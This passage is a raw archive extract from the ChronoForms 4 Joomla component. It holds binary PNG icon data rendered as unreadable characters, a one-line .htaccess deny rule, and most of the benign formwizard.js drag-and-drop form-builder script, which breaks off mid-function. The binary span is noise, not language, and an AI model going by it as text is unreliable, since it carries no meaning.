D*4/ (ї ~((Kt֬iB4u7 99 M:R(/Te &?]d0, §'LyX<h+r3b#9CcH J|vj̻,9ÒZ0G۱D"˿7~j}v!Y\8lB!D3Tc])(.i0LX.m^+B ΀WpHSa鲠ؠ~DUl?+Q(cqg:yȒx-_V}OM9I=+9'eU5E gҏ YYthkߞC:gҏ <n@[M@#> ҥC`zIENDB`PK@y>\Ь`/components/com_chronoforms/images/rearrange.pngnuW+APNG  IHDRaIDATxڕKA{3cPM j,B9x%xQ#^'` HZADH{Bb5āe}.S#6uu8mv`I9(ɡrn[Als (N ,TbwcSh($V|#I0lHqXD<.N(J8I+I㗻#^gZ@T^dD;XZB zWS7^S<[B'NYm$(.(-t\\!!-components/com_chronoforms/images/preview.pngnuW+APNG  IHDR szzsBIT|d pHYs|4ktEXtSoftwarewww.inkscape.org<IDATXŗk\U?Iҙv0-iC!i]DYX@B7Q7bW.UWP:m!5MfL+/oxys{F̌3JIWYDdbuugϞ}h4*R}zzzZ~+"ߘY$"~yee/\ 4ʕ+W.ߋ_% f666L:͉PaO,&'O$՚ddf-#-$|rv8_׶xz+B$ժ@p26 k%:^>ޮr ! ij}oU90"dpG~wvtRT=/T\-GRqmOڷ "[,%ӎE 9$s8R)˟;;?I;Ms;, '$=G~XxaH bjQ5:`¾ I,D > nt9{*!hA<UztdI 8ӟe!xO3Ghwh&԰`D+A,ʐfhY=! $xIb9.(rZ? s&|=' iAӖr ]!`‚ d"Id(D3[ hPB0>-~m=wrї!jlw ^ 0NᓃdYHϙ󬥂$Nh^>PpvA2IH&C<ıF'{#1AdfK@y)p !(ffƒDRzu HJs!'yT ꕐb0Bjc9sq;~z9&B XZZ󬮮l6_@jxYZZMMMq Jwwﲼ|o;f?:Jmܼyt:.hZCjevwwG \.Szoo%$mfV;> fƵk׸Y, s_ zcmm b*/^ݥK>={둜xرrرz}ի?]~S}? ;f`#ZE1.ٝ>VIENDB`PK@y>\6WW*components/com_chronoforms/images/view.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDATx$RE}cgvg[$:  RD)G@"Q@DIQFHG#;yx5]|O|O(ǘE Zɤ5^Vq?Jz))(%um/?aBKH%#!»' .Z -d5y{p1Ae-MALq6>"'TMӕ6@LQ[XS&RcA"K K"쌪r(ciJb$ Q0Tq& &uE H%bPZ"u1;"bT)4]P`Mo;yR*hY=mm!<@>O[ACf6 TF1 }҃$ \ ܃ڋZ(5m)6gTH#[)OleHU<u*Axsž z@w,,$P'&P9G=;7L3PDF*Ҋƺ^;^^4w=fjZ h;\-q8tޥ]? KIαE d\6b"qJ. նϔ_6M畭5#mr.nǨ_b2uIENDB`PK@y>\Q  0components/com_chronoforms/images/incrementd.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڔR=OA]F uVTF;촷PGX 1ʯ0!ƂT֙C"9 \2۝o߼oET R:.cMr W KJR}nBg PZ14{X<"'P PZ a:p F-y>~5nЊ.?*"Ho$(.9o*3Q5W)x&{#R.POHYB`t0!L&J[\ WGaC)I~+A}@^zLB^9c)Z^,q%:#COQw.GLx Cm\w*;g9;(&"UHW! ,w|o2nX=5V? gR5~IENDB`PK@y>\)@t-components/com_chronoforms/images/copy_f2.pngnuW+APNG  IHDR D+tEXtCreation TimeMon 2 Aug 2004 15:44:40 -0000wEtIME.7f& pHYs  ~gAMA a%PLTEΥք{k{s{{Όޔsk{ks{{ss{{ֽsks֜{{{֥{kk޵{s{Ƅkﭽ{Z{{sJssRsskc޽c{kcc{ss֌k֥Z{s{Z{ֵ)RRs9cJk{cBcޭRsJsތcc{Z{sBcZs1R{Zs{Jk֔掠RkΔc{ޜc{{RcƄBkcsctRNS@fIDATxmCA,;3mf(tf*Sq,CќMJpC,4ʹ,JӲN3;]~s~|{7F[2Nuk/_`r'@t :Y/caO|"xBj@ [3LAPj%% ^͍li&}wyH>U05ǰg.~,Xj|b4:t5X̳T4<օY_~!hYGѩ'O'e"t\p/'n)}#:'Ր0., .ccpa֎ =w`[t8crtP{a`D)xY=:eTEHva!Zs#IT ʔwbGws yij6$!ʽ>ϼ+H;D WE)X&NX[dz*3TAwS<AFuy0)l]l6\=OǼD4Mq4K(;::)떯DŌbGglZ9Ś4 @sRkT44o̩%щ6m$LG5c9X 4PqUIu ZQ*eH'1Wp5&Vtg̺kԢ+``kEņ}gfelݒ5SZz~RoH3-EҺd11 HIENDB`PK@y>\厔3-components/com_chronoforms/images/confirm.pngnuW+APNG  IHDRw=tEXtSoftwareAdobe ImageReadyqe<IDATxڌV[lUlN[v񂅶Sk4 V(xhDM /ZKPFl ACM*514Šm!VI`"(n۝ݹgfouNΜ};9 ( Z=Ӌ>O ;Œ0+w/9YiY];ꁖU %Ao{dU | {t~`/ J/h4]WDچ`QZݡ"T8v")KOX,$ +'"k)-超w^|hZd 䜎OMMQC.SQ(%Hչi&zZźVק"[Dk\ & ܰ'V=1ٗyΛՀ@FqAS!0F{jqOC% `im'ܖ\_4B+<]E)* ~@ѐ`g8<}7#F, 5\#Peǎfeg 6NI$wdIeіE]RAM4` ó8xxN⌟Ω1k4Rw_FU  $)e0QotA?-b۞r=0% ZY,?~L\6FQm䵖4&- `uu&\2/Ǽr.}{g >jk yESʸ#+A$$1 G^ֱ-'K;E^+rZN q};Aut}V: {e( 7`-SenSjj9Uv_FS":o=¹!=ƛVx5h ?2>ɾ)O!D< 06ndr|ꌁ>L`*.7F/\ҾPSl;%Evq-n+"am9,6$G*O{Q޵ŏUe>eYPTz 5?Qm"-uk3K_bGFb$+&V .IDsSS)"i#zk0Bo,fo8'ϡ7 "w-WЦlUVYzPrmY.XfJ2X|? 0}2]zdTbUIENDB`PK@y>\KK)components/com_chronoforms/images/key.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڌSkAn6 iڴ% "P/< ^{('OފPŊ`Dlv6lf61{Ǧ?^['c*/8~ռk],g,{ u_^:~nƦ.&)\M^?6׷Dh>Qԍ E/.6$5UYb/QZ*5bʥ+D "u^T+!Ϻ[ށҷ` F Gݵz"EgkJ 1Ɉp[O@bn 0RoN͹GB7V;ׅ\YP6j{|74b M ghpf\ pB`},}dK'0,jNSSdAHQ )ZR0 d/ۯ ~'Ȼ!d\ߍ,components/com_chronoforms/images/wizard.pngnuW+APNG  IHDR DgAMA7tEXtSoftwareAdobe ImageReadyqe<PLTE33333r\T/浈ff7,żȪhssnxsxZ}Bׯ\zOC~PLn:shxoHɫmtnҡ|3̙|ȉ@d4rG@Yu[+umm5<$ޏ*hE"Oo:͚\mn bM6jD[5u ɤ~ݺn͵_)0gP0~Z[T^U PM' }jW*ce"zNHAREQGLfZz h_/m+J[rf{Z%Wn_%TI3^uӷ#O8Ve$ Δr]]9 G.|xkNq8p4ztw[vD@ tx8befN/B:ƴ6oۖ-ˁ!%.my9oύX'!L\[O1ǩGt#Cϣv .˫thMrgќqP{kmEcv,)G>M۴N{,>ƶdR`SZ0qPC,َd s( }w 7=wkgt־LtY+칊hH-v 9ߚ,}pf@=^)I0Fb0,ia rƥG<[ s}HmxIENDB`PK@y>\,components/com_chronoforms/images/enable.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<wIDATxL[hUƿ33g{f1cqEVm% yJO"PV"R|(^j -h->Tj[lnfwMvvv̙B07Cn-uvI C1kpn!tfoLչSUUrl6d5g`q[eMVڈ0^ܲ',Uu?dso_ I3Um^F8cˎLl 3HӋg'[:ze JȤGqP]O`u6Xq߼tGؖFF`>49$!G#%OadMIj>[F5!KAFiaw}[_j+:26 բi#pF{OuºX \v ;sOCa5`Ho(>5lMm*+Xߞvg $qBFNA*I 'k )#\5{_ƀUDB(K JT-[jz^I$<,(#?B>G<,%,ĜoG ~[;sG|a   "XW{Y⎮=M]h$ }|U:Kk_ ^jGn!<oQxͧCoM \l8׫857 ,jopd|uĐ:Ή?O* ш/^o:;6~>JхPA5ըFY3O@8RPj-q>rO#|VXDvTQ_|ƠPUujGY іBFfws^u{eq[sIENDB`PK@y>\5GG/components/com_chronoforms/images/increment.pngnuW+APNG  IHDRaIDATxڍkA3|!Zo< "HbAҪ$mS=+R*MSܰi(zMBf[Sh>7iE;Ͼ<3c{0;1t99>{?-?k^."s{ ߇B&w?Xtv ޓryq8?Y7T ωʹuN>p08@,~KUXud+N~ÂdYT-JeM+3pcz >$Q9 5&85UުЦCWÑ\)hׇo>-Vrdh$&Q!`X먒zhR{u*;B@?Nߖe8ϸS(yLkH5 U{ş=B,)G\VuPa{[M%jx~-`!,a7}(eeĂy.]@*.H,wĊ="IK٥IENDB`PK@y>\ł  ,components/com_chronoforms/images/backup.pngnuW+APNG  IHDR DgAMA7tEXtSoftwareAdobe ImageReadyqe<PLTExooR1 qYHEEqHONzޯB(_K4#fZXbΜ@}uJmNq;ϟެBĻ A@ Ilml:e@barp̮}1Ek0peYta. qf:)Ў |3/8-Ei>Ba:۬jNR 9daϭJ`c谄ЖH"{ogk ?^[ B:"0݉K7O-# 49j'&rQD" +o)e]QHpHa s&BB|@pX/&WpIԇ!_mL&C/  a( VǙOaPvM=s׏lbHELUDF-h;MƅLDˀNF#0Ud=0:JLUSױ'bمnĂsRHT)r2&2;2_h|iIENDB`PK@y>\ 0components/com_chronoforms/images/extensions.pngnuW+APNG  IHDR szz IDATxyl\G?=|ɮC]riThRҤMoj!$@␨** P(QAi^{kf㹥QJ FZ=͓}? ѱ)a7,smS=ǝwi=#T+)`D;V]vyWc3Cؽ~N\ss~#fgq xukK5ɭ-=4-VTq pja$=Ï? wwկ=4s|bBt2j]7RÃSv$~\Jerse KzOy5|ΥO^-&>T,ϼ{[Lu=v6 >@@l&A0-Aw<8< <ǹiz7әrL` Jhp P& 8ph`A.XC͹D"0iioKm_b[qlֽr]Пm㎫YS95c\~֤ zj+r8ufSTYmiFT'#LC`4(#.^8P?W.W+W!ޡ tv6Fv'~i芃Ҽ~cWz>s۞jiraah|0V/+:t(ܶb&]ݼ884<R-uGsP`D, @IA `Ҹ,4KY_βo<\c3M>.a7:{O?{)5B45(Ni@aA/I&g59l20]V7y70DLb?~AK)eJALRW+S3' U](r)W+<''iL~$J$;=6[c36óm@ܺ[vɟvjr( ]H4? (ՙ),Sq2^`,g{\1Z1 j%¹) bC̆DG,tY?7qjݙƵن@^?T/ʑ#4O+`}_JrR_l&",RairjQۜ9[fg rxKӠfKC'1+!0maVᓁ\H /components/com_chronoforms/images/transform.pngnuW+APNG  IHDR szzbKGD pHYsnu>tIME)N DIDATxڭk]Wu{=>;g<3#8+NI"TQDJ-_CT (jc<}9{~8qI֗k I/;ӟNj#N,1;GG՚5y*gS.5sۀ|]}[KfLݜ CO o.6vi" k2S3k vґ _٭Wr#E>x!O-_тTa%ZB& I q\}US0ӀƟQѽZ!{*Y(9 P`ACT裯DzTxOvnk}hlEb*N 7;:ߕw>1q^A%ǒ(eh{ ϤTֆ ߝ\%~:,K3+֛5x~K$}rA\=_پ0ЊB" cE3H '(e!;ۛ+}pϞFK[cg[>VTy=ޝU \^t _I>(Dil)ۆ䇥'0C}=ݙ|&ZZJ__aXJ4ÇGG_?/綇 S9ЧeLe57GRWf v0"&%%VuٿgSI|@ EBQF1ҷ12m3T>Wz>8vOTF#é[˛XR08ơ6Ss(qmj| Ɓ8ЄqD+ZP`@A@^kxggOgNwo꣯V.[ӊ"Q؄J#Q.ӕI` h^'¯V+MG:I2H{. %8$<{ !WKԙIH֘\g4|s\ (QDEDhz-/`PAƩZ,.eeX=FjZ@!ߛ l6%1,ֹRXaR$6XEF_6ϷPxg:;JKXY%E|o[1҂JC%&#ο/6khB(֫1KVS~z9LJ4x|@*!w&]8F D;HF\ +Y`?;;SJA)5B bm@*D,.Uo61f-ߗA`^H"EJ{'O,hE!+h-RXf'(0wHt~4 FJc;qms,<ƄFsU4>5Z0Fk6X+bcbEn }Md.;}(*ilҶ ;;H RA5B)9OfυNf%uuSz\Ʊ,j&I/!>{' յ_7}+.9 or\[/NXxׁ~h@oOGn0%nj6`#K7X:S?b}+j·K٬O>)66fBB ҀH!,Z5~s;7LϟKGzAFFƑ6 %p<\&=\wfrco_~ <}7Li~1@JeKΞ/pŊ~(tF/m>4)%JkV.+9鉕oE'm\H]1Qtw[' Fkٍ\֏%0vӔV8"Hf6 ֫^VqmiUA*i5IENDB`PK@y>\,components/com_chronoforms/images/index.htmlnuW+APK@y>\)+components/com_chronoforms/images/.htaccessnuW+A Order allow,deny Deny from all PK@y>\3ve0components/com_chronoforms/images/fullscreen.pngnuW+APNG  IHDR(-SgAMA7tEXtSoftwareAdobe ImageReadyqe<2PLTErךhG~9XfDGFGs,:Cz8~>p(GY4Jfd|69w4{3B^E\3~7qS}6o&QCR4YEv2|3t-H`VM~=G{9X?t.6[B}3w3HFz9fdGDz0F|5BC`<>]BU~8p&H}5Aw39=}=YQ}4C:|2ftRNS5IDATxbPHHF0h9w"?;i .ϖ&e#"+吤Ȑ `k531sr0[9hDT J PiPB2 htZqaS? DԴx NK1f yN_›Y=R}!#62:JypIENDB`PK@y>\jP+components/com_chronoforms/js/formwizard.jsnuW+A/** * CHRONOFORMS version 4.0 * Copyright (c) 2006 - 2011 Chrono_Man, ChronoEngine.com. All rights reserved. * Author: Chrono_Man (ChronoEngine.com) * license Commercial * the JS code in this file is not licensed under the GPL license and you should get a written permission from webmaster@chronoengine.com to be able use it outside the Chronoforms package! * Visit http://www.ChronoEngine.com for regular updates and information. **/ //vars for the drag box position var drag_position = null; var drag_position_y = 0; window.addEvent('scroll', function() { //get window scroll var window_scroll = window.getScroll(); //get the drag box position for 1 time only if(drag_position == null){ drag_position = $('drag_box').getPosition(); drag_position_y = drag_position.y; } //do the magic if(window_scroll.y > drag_position_y){ $('drag_box').setStyles({'position': 'fixed', 'top' : 0}); }else{ $('drag_box').setStyles({'position': 'relative'}); } }); //main wizard logic window.addEvent('domready', function() { //EASY MODE CODE if(EASY_MODE == true){ containers.each(function(container){ $('easy_div_'+container).getElements('div[id^=cfaction_]').each(function(action){ //add edit event action.addEvent('click', function(event){ if($('action_settings') == null){ var settings = new Element('div', {'id' : 'action_settings', 'class' : 'settings actions_accordion_pane'}); settings.inject($('action_settings_hidden')); } showFieldSettings(this, $('action_settings')); }.bindWithEvent(action)); //delet events action.getElements('div[id^=cfactionevent_]').each(function(cfactionevent){ cfactionevent.destroy(); }); if(action.getElement('.action_label') != null){ action.getElement('.action_label').set('html', action.getElement('.action_label').get('html') + ' (Click to configure)'); } //add clear div var clear = new Element('div', {'html' : '
       
      '}); action.adopt(clear.getFirst().clone()); }); }); } //END EASY MODE //elements accordion var elementsAccordion = new Accordion($('elements_accordion'), 'a.element_toggler', 'div.elements_accordion_pane', { opacity: false, show: 0, alwaysHide: false }); //actions accordion var actionsAccordion = new Accordion($('actions_accordion'), 'a.action_toggler', 'div.actions_accordion_pane', { opacity: false, show: 0, alwaysHide: false }); //add clear div for all config items exist in page var clear = new Element('div', {'html' : '
       
      '}); $$('.element_config_item').each(function(element){ element.adopt(clear.getFirst().clone()); }); $$('.validation_rule').each(function(element){ element.adopt(clear.getFirst().clone()); }); $$('.wizard_element').each(function(wizard_element){ if(wizard_element.hasClass('input_container_element_view') == false){ wizard_element.adopt(clear.getFirst().clone()); } }); if(EASY_MODE == false){ //tie few tabs together $('actions-panel-tab').addEvent('click', function(event){ switchTab('events'); }); $('elements-panel-tab').addEvent('click', function(event){ switchTab('preview'); }); $('events-panel-tab').addEvent('click', function(event){ switchTab('actions'); }); $('preview-panel-tab').addEvent('click', function(event){ switchTab('elements'); }); } //IE is crap, a fix for the ondragstart event so that sortables may work fine document.ondragstart = function(){ return false; }; var droppable_container_temp = []; //manage old fields events var old_containers = []; $('droppable_area_elements').getElements('div[class*=wizard_element]').each(function(wizard_element){ var element_tools = $$('div.element_tools')[0].clone(true, true); var field_id = wizard_element.getElement('input[id^=chronofield_id]').get('value'); var element_tools = element_tools.set({'class' : 'element_tools_visible', 'html': element_tools.get('html').replace(/{n}/g, field_id)}); element_tools.inject(wizard_element.getFirst(), 'before'); //add events to the element div wizard_element.addEvent('mouseover', function(){this.addClass('element_div_hover')}); wizard_element.addEvent('mouseout', function(){this.removeClass('element_div_hover')}); //add tools events //add delete event wizard_element.getElement('.delete_element').addEvent('click', function(event){ this.getElement('.delete_element').floatingTipsHide(); this.destroy(); event.stopPropagation(); }.bindWithEvent(wizard_element)); //add edit event wizard_element.getElement('.edit_element').addEvent('click', function(event){ if($('field_settings') == null){ var settings = new Element('div', {'id' : 'field_settings', 'class' : 'settings elements_accordion_pane'}); settings.inject($('field_settings_hidden')); } showFieldSettings(this, $('field_settings')); }.bindWithEvent(wizard_element)); //add sort event wizard_element.getElement('.sort_element').addEvent('click', function(event){ event.stopPropagation(); }.bindWithEvent(wizard_element)); //var sortable_elements = new Sortables($('droppable_area_elements'), {clone:true, opacity:0.4, handle: '.sort_element'}); //if this was a container then make it a droppable if(wizard_element.hasClass('input_container_element_view')){ initializeElementsDroppables([wizard_element]); //var sortable_elements = new Sortables(wizard_element, {clone:true, opacity:0.4, handle: '.sort_element'}); //console.log(wizard_element); if(old_containers.contains(wizard_element) == false){ old_containers.include(wizard_element); } } }); //fix old conatiners sortables old_containers.each(function(old_container){ var sortable_container_elements = new Sortables(old_container, {clone:true, opacity:0.4, handle: '.sort_element'}); sortable_container_elements.removeItems($$('.element_tools_visible')); }) //make old elements sortable var sortable_elements = new Sortables($('droppable_area_elements'), {clone:true, opacity:0.4, handle: '.sort_element'}); //manage old actions events var old_events = []; $('droppable_area_actions').getElements('div[class*=wizard_element]').each(function(wizard_element){ var field_id = wizard_element.getChildren('input[id^=chronoaction_id]')[0].get('value'); var element_tools = $$('div.element_tools')[0].clone(true, true); var element_tools = element_tools.set({'class' : 'element_tools_visible', 'id': 'element_tools_'+field_id, 'html': element_tools.get('html').replace(/{n}/g, field_id)}); wizard_element.getFirst().set('html', wizard_element.getFirst().get('html')+" ("+field_id+")"); element_tools.inject(wizard_element.getFirst(), 'before'); //add events to the element div wizard_element.addEvent('mouseover', function(){this.addClass('element_div_hover')}); wizard_element.addEvent('mouseout', function(){this.removeClass('element_div_hover')}); //add tools events //add delete event wizard_element.getElement('.delete_element').addEvent('click', function(event){ this.getElement('.delete_element').floatingTipsHide(); this.destroy(); //clearFieldSettings($('action_settings')); event.stopPropagation(); }.bindWithEvent(wizard_element)); //add edit event wizard_element.getElement('.edit_element').addEvent('click', function(event){ if($('action_settings') == null){ var settings = new Element('div', {'id' : 'action_settings', 'class' : 'settings actions_accordion_pane'}); settings.inject($('action_settings_hidden')); } showFieldSettings(this, $('action_settings')); }.bindWithEvent(wizard_element)); //add sort event wizard_element.getElement('.sort_element').addEvent('click', function(event){ event.stopPropagation(); }.bindWithEvent(wizard_element)); //insert action event map idetifiers var last_identifier_name = wizard_element.getParent('.form_event').getElement('input[name^=_form_actions_events_map]').get('name'); new Element('input', {'type': 'hidden', 'name': last_identifier_name+'[actions]['+wizard_element.get('id').replace(/_element_/, '_')+']'}).inject(wizard_element, 'top'); //check if action has any events and add the identifiers to them if so if(wizard_element.getElements('div.form_event').length > 0){ wizard_element.getElements('div.form_event').each(function(wizard_element_event){ //var event_name = wizard_element_event.get('id').replace(wizard_element.get('id').replace(/_element_/, '_').replace(/cfaction_/, 'cfactionevent_')+'_', ''); new Element('input', {'type': 'hidden', 'name': last_identifier_name+'[actions]['+wizard_element.get('id').replace(/_element_/, '_')+'][events]['+wizard_element_event.get('id')+']'}).inject(wizard_element_event, 'top'); }) //also make them valid droppables initializeActionsDroppables(wizard_element.getElements('div.form_event')); } if(old_events.contains(wizard_element.getParent('.form_event')) == false){ old_events.include(wizard_element.getParent('.form_event')); } }); //make old actions sortable old_events.each(function(event_div){ var sortable_actions = new Sortables(event_div, {clone:true, opacity:0.4, handle: '.sort_element'}); sortable_actions.removeItems(event_div.getChildren('label')); }); initializeElementsDroppables([$('droppable_area_elements')]); //actions //initializeActionsDroppables([$('FormOnLoadEvent'), $('FormOnSubmitEvent')]); initializeActionsDroppables($('droppable_area_actions').getElements('.main_event')); var form_save_event = function(){ $('sbox-content').getElement('.form_save_button').addEvent('click', function(){ $('ChronoformName').set({'value' : $('sbox-content').getElement('.chronoform_name').get('value')}); submitform('ccms_adminform', 'wizard', 0, 0, 0, 0); }); } SqueezeBox.initialize(); SqueezeBox.assign($('wizard_save'), { size: {x: 200, y: 200}, url: '#form_save_box', onOpen: form_save_event }); }); var droppable_container_temp = []; function initializeElementsDroppables(droppables){ var element_count = $('max_field_index').get('value').toInt(); $('elements_accordion').getElements('.dragable').makeGhostDraggable({ droppables: droppables,//[$('droppable_area_elements')],//'.droppable', opacity: 1, onStart:function(element){ droppable_container_temp.empty(); }, onEnter:function(element, droppable){ droppable_container_temp.include(droppable); }, onLeave:function(element, droppable){ droppable_container_temp.erase(droppable); }, onDrop: function(element, droppable) { if (droppable) { var element_count = $('max_field_index').get('value').toInt(); //create the element div to be insterted in the view pane var real_element_id = element.get('id')+'_element'; var real_element = $(real_element_id).clone(true, true).set({'class':element.get('id')+'_element_view wizard_element preview_element', 'id':real_element_id+'_'+element_count}); //insert tools var element_tools = $$('div.element_tools')[0].clone(true, true).set({'class' : 'element_tools_visible'}); element_tools.inject(real_element); //end tools injection //add clear div var clear = new Element('div', {'html' : '
       
      '}); real_element.adopt(clear.getFirst().clone()); // real_element.set({'html': real_element.get('html').replace(/{n}/g, element_count)}); //add events to the element div real_element.addEvent('mouseover', function(){this.addClass('element_div_hover')}); real_element.addEvent('mouseout', function(){this.removeClass('element_div_hover')}); //add tools events //add delete event real_element.getElement('.delete_element').addEvent('click', function(event){ this.getElement('.delete_element').floatingTipsHide(); this.destroy(); event.stopPropagation(); }.bindWithEvent(real_element)); real_element.getElement('.delete_element').floatingTips(); //add edit event real_element.getElement('.edit_element').addEvent('click', function(event){ if($('field_settings') == null){ var settings = new Element('div', {'id' : 'field_settings', 'class' : 'settings elements_accordion_pane'}); settings.inject($('field_settings_hidden')); } showFieldSettings(this, $('field_settings')); }.bindWithEvent(real_element)); real_element.getElement('.edit_element').floatingTips(); //add sort event real_element.getElement('.sort_element').addEvent('click', function(event){ event.stopPropagation(); }.bindWithEvent(real_element)); real_element.getElement('.sort_element').floatingTips(); //check which droppable will be used //console.log(droppable_container_temp); if(droppable_container_temp.length > 0){ droppable = droppable_container_temp[droppable_container_temp.length - 1]; real_element.inject(droppable); droppable_container_temp.empty(); } if(droppable.hasClass('input_container_element_view')){ var container_id = droppable.get('id').replace(/input_container_element_/, ''); if($("container_id_"+element_count) != null){ $("container_id_"+element_count).set('value', container_id); } } //reset sorting var sortable_elements = new Sortables(droppable, {clone:true, opacity:0.4, handle: '.sort_element'}); sortable_elements.removeItems($$('.element_tools_visible')); element_count = element_count + 1; //update element count $('max_field_index').set('value', element_count); //if this was a container then make it a droppable if(element.get('id') == 'input_container'){ initializeElementsDroppables([real_element]); } } } }); } function clearFieldSettings(){ $('field_settings').empty(); $('action_settings').setStyle('display', 'none'); $('field_settings').setStyle('display', 'none'); } var droppable_container_temp = []; //var events_actions_map = {'MYFORM': {}}; function initializeActionsDroppables(droppables){ var action_count = $('max_action_index').get('value').toInt(); $('actions_accordion').getElements('.dragable').makeGhostDraggable({ droppables: droppables,//[$('droppable_area_actions')], //stopPropagation: true, onStart:function(element){ droppable_container_temp.empty(); }, onEnter:function(element, droppable){ droppable_container_temp.include(droppable); }, onLeave:function(element, droppable){ droppable_container_temp.erase(droppable); }, onDrop: function(element, droppable, event){ if(droppable){ var action_count = $('max_action_index').get('value').toInt(); //create the element div to be insterted in the view pane var real_element_id = element.get('id')+'_element'; var real_element = $(real_element_id).clone(true, true).set({'class':element.get('id')+'_element_view wizard_element form_action', 'id':real_element_id+'_'+action_count}); //insert tools var element_tools = $$('div.element_tools')[0].clone(true, true).set({'class' : 'element_tools_visible'}); real_element.getFirst().set('html', real_element.getFirst().get('html')+" ("+action_count+")"); element_tools.inject(real_element); //end tools injection //add clear div var clear = new Element('div', {'html' : '
       
      '}); real_element.adopt(clear.getFirst().clone()); real_element.set({'html': real_element.get('html').replace(/{n}/g, action_count)}); //add events to the element div real_element.addEvent('mouseover', function(){this.addClass('element_div_hover')}); real_element.addEvent('mouseout', function(){this.removeClass('element_div_hover')}); //add tools events //add delete event real_element.getElement('.delete_element').addEvent('click', function(event){ this.getElement('.delete_element').floatingTipsHide(); this.destroy(); //clearFieldSettings($('action_settings')); event.stopPropagation(); }.bindWithEvent(real_element)); real_element.getElement('.delete_element').floatingTips(); //add edit event real_element.getElement('.edit_element').addEvent('click', function(event){ if($('action_settings') == null){ var settings = new Element('div', {'id' : 'action_settings', 'class' : 'settings actions_accordion_pane'}); settings.inject($('action_settings_hidden')); } showFieldSettings(this, $('action_settings')); }.bindWithEvent(real_element)); real_element.getElement('.edit_element').floatingTips(); //add sort event real_element.getElement('.sort_element').addEvent('click', function(event){ event.stopPropagation(); }.bindWithEvent(real_element)); real_element.getElement('.sort_element').floatingTips(); //check where to drop the element var injected = false; if(droppable_container_temp.length > 0){ droppable = droppable_container_temp[droppable_container_temp.length - 1]; //insert actions/events identifier(s) var last_identifier_name = droppable.getElement('input[name^=_form_actions_events_map]').get('name'); new Element('input', {'type': 'hidden', 'name': last_identifier_name+'[actions]['+element.get('id')+'_'+action_count+']'}).inject(real_element, 'top'); //check if the action has any events and insert the identifiers real_element.getElements('div.form_event').each(function(form_event){ new Element('input', {'type': 'hidden', 'name': last_identifier_name+'[actions]['+element.get('id')+'_'+action_count+'][events]['+form_event.get('id')+']'}).inject(form_event, 'top'); }) //finally inject the element real_element.inject(droppable); injected = true; droppable_container_temp.empty(); //update the actions counter only after the new action is injected action_count = action_count + 1; //update action count $('max_action_index').set('value', action_count); }else{ //real_element.inject(droppable); } //check for events in the new action if(real_element.getElements('div.form_event').length > 0){ initializeActionsDroppables(real_element.getElements('div.form_event')); } //reset sorting if(injected){ var sortable_actions = new Sortables(droppable, { clone:true, opacity:0.4, handle: '.sort_element', onStart: function(element, clone){ if($chk(element.getElement('.mceEditor'))){ var id = element.getElement('.mceEditor').get('id').replace(/_parent/, ''); tinyMCE.execCommand("mceRemoveControl", false, id); } } } ); sortable_actions.removeItems(droppable.getChildren('label')); } //actions counter removed } } }); } function showFieldSettings(container_div, settings){ //if(settings.retrieve('settings_for') != container_div.get('id')){ var field_type = container_div.get('id').replace(/_element_[0-9]*/, ''); var fcountre = new RegExp(field_type+'_element_'); var field_count = container_div.get('id').replace(fcountre, ''); settings.empty(); //inject the settings area var ElementSettingsClone = $(field_type+'_element_config').clone(true, true).setStyle('display', 'block').set({'html': $(field_type+'_element_config').get('html').replace(/{n}/g, field_count)}); ElementSettingsClone.inject(settings); //if settings has a tabs box then initialize it if(ElementSettingsClone.getElements('.tabs_box').length > 0){ //ApplyTabEventsToContainer(ElementSettingsClone.getElements('.tabs_box')[0]); } settings.getElements('[name$=config]').each(function(config){ var target_config_element = container_div.getElement('[id='+config.get('name').replace(/_config/, '')+']'); if(config.get('rule') == 'bool'){ if(target_config_element.get('value').toInt() == 1){ config.set({'checked' : 'checked'}); }else{ //do nothing config.erase('checked'); } }else if(config.get('rule') == 'split'){ var splitter = new RegExp(config.get('splitter')); var selections = target_config_element.get('value').split(splitter); if(config.get('tag') == 'select'){ config.getChildren('option').each(function(option){ if(selections.contains(option.get('value'))){ option.set({'selected' : 'selected'}); }else{ option.erase('selected'); } }); }else{ if(selections.contains(config.get('value'))){ config.set({'checked' : 'checked'}); }else{ //do nothing config.erase('checked'); } } }else{ config.set({'value' : target_config_element.get('value')}); } }); settings.store('settings_for', container_div.get('id')); //fix some stuff if($chk(settings.getElement('.loadingimg_div'))){ settings.getElement('.loadingimg_div').setStyle('display', 'none'); } settings.setStyle('display', 'block'); var parentsize = settings.getSize(); var childsize = settings.getFirst('.element_config').getSize(); if(parentsize.y < childsize.y){ settings.setStyle('height', childsize.y); }else{ settings.setStyle('height', childsize.y); } //load the squeeze box and insert the buttons if($chk($('sbox-btn-apply'))){ $('sbox-btn-apply').destroy(); } //load the element's onload function if exists var fn_name = field_type+'_onload'; if(typeof window[fn_name] == 'function'){ window[fn_name](field_count); } //open in squeeze box SqueezeBox.initialize(); SqueezeBox.open(settings, { handler: 'adopt', size: {x: 600, y: 500}, onOpen: function(content){ //var applyButton = content.getNext().clone(true, true).set({'id': 'sbox-btn-apply', 'text' : 'Apply'}); var applyButton = new Element('a').set({'id': 'sbox-btn-apply', 'text' : 'Apply'}); applyButton.addEvent('click', function(e){ deactivateEditor(content); saveFieldSettings(container_div, settings); //activateEditor(content); return false; }); applyButton.inject(content, 'after'); }, onClose: function(content){ deactivateEditor(content); if($chk($('sbox-btn-apply'))){ $('sbox-btn-apply').destroy(); } } }); //} } function saveFieldSettings(container_div, settings){ var field_type = container_div.get('id').replace(/_element_[0-9]*/, ''); var fcountre = new RegExp(field_type+'_element_'); var field_count = container_div.get('id').replace(fcountre, ''); settings.getElements('[name$=config]').each(function(config){ var target_config_element = container_div.getElement('[id='+config.get('name').replace(/_config/, '')+']'); if(config.get('rule') == 'bool'){ if(config.get('checked')){ target_config_element.set({'value' : '1'}); }else{ target_config_element.set({'value' : '0'}); } }else if(config.get('rule') == 'split'){ var splitter_escaped = escape(config.getProperty('splitter')); var new_splitter_escaped = splitter_escaped.replace('%5Cn', '%0A'); var new_splitter = unescape(new_splitter_escaped); target_config_element.set({'value' : ''}); var config_group = new Array(); //$('field_settings').getElements('[name='+config.get('name')+']').each(function(config_group_item){ settings.getElements('[name='+config.get('name')+']').each(function(config_group_item){ if(config.get('tag') == 'select'){ config.getChildren('option').each(function(option){ if(option.get('selected') == true){ 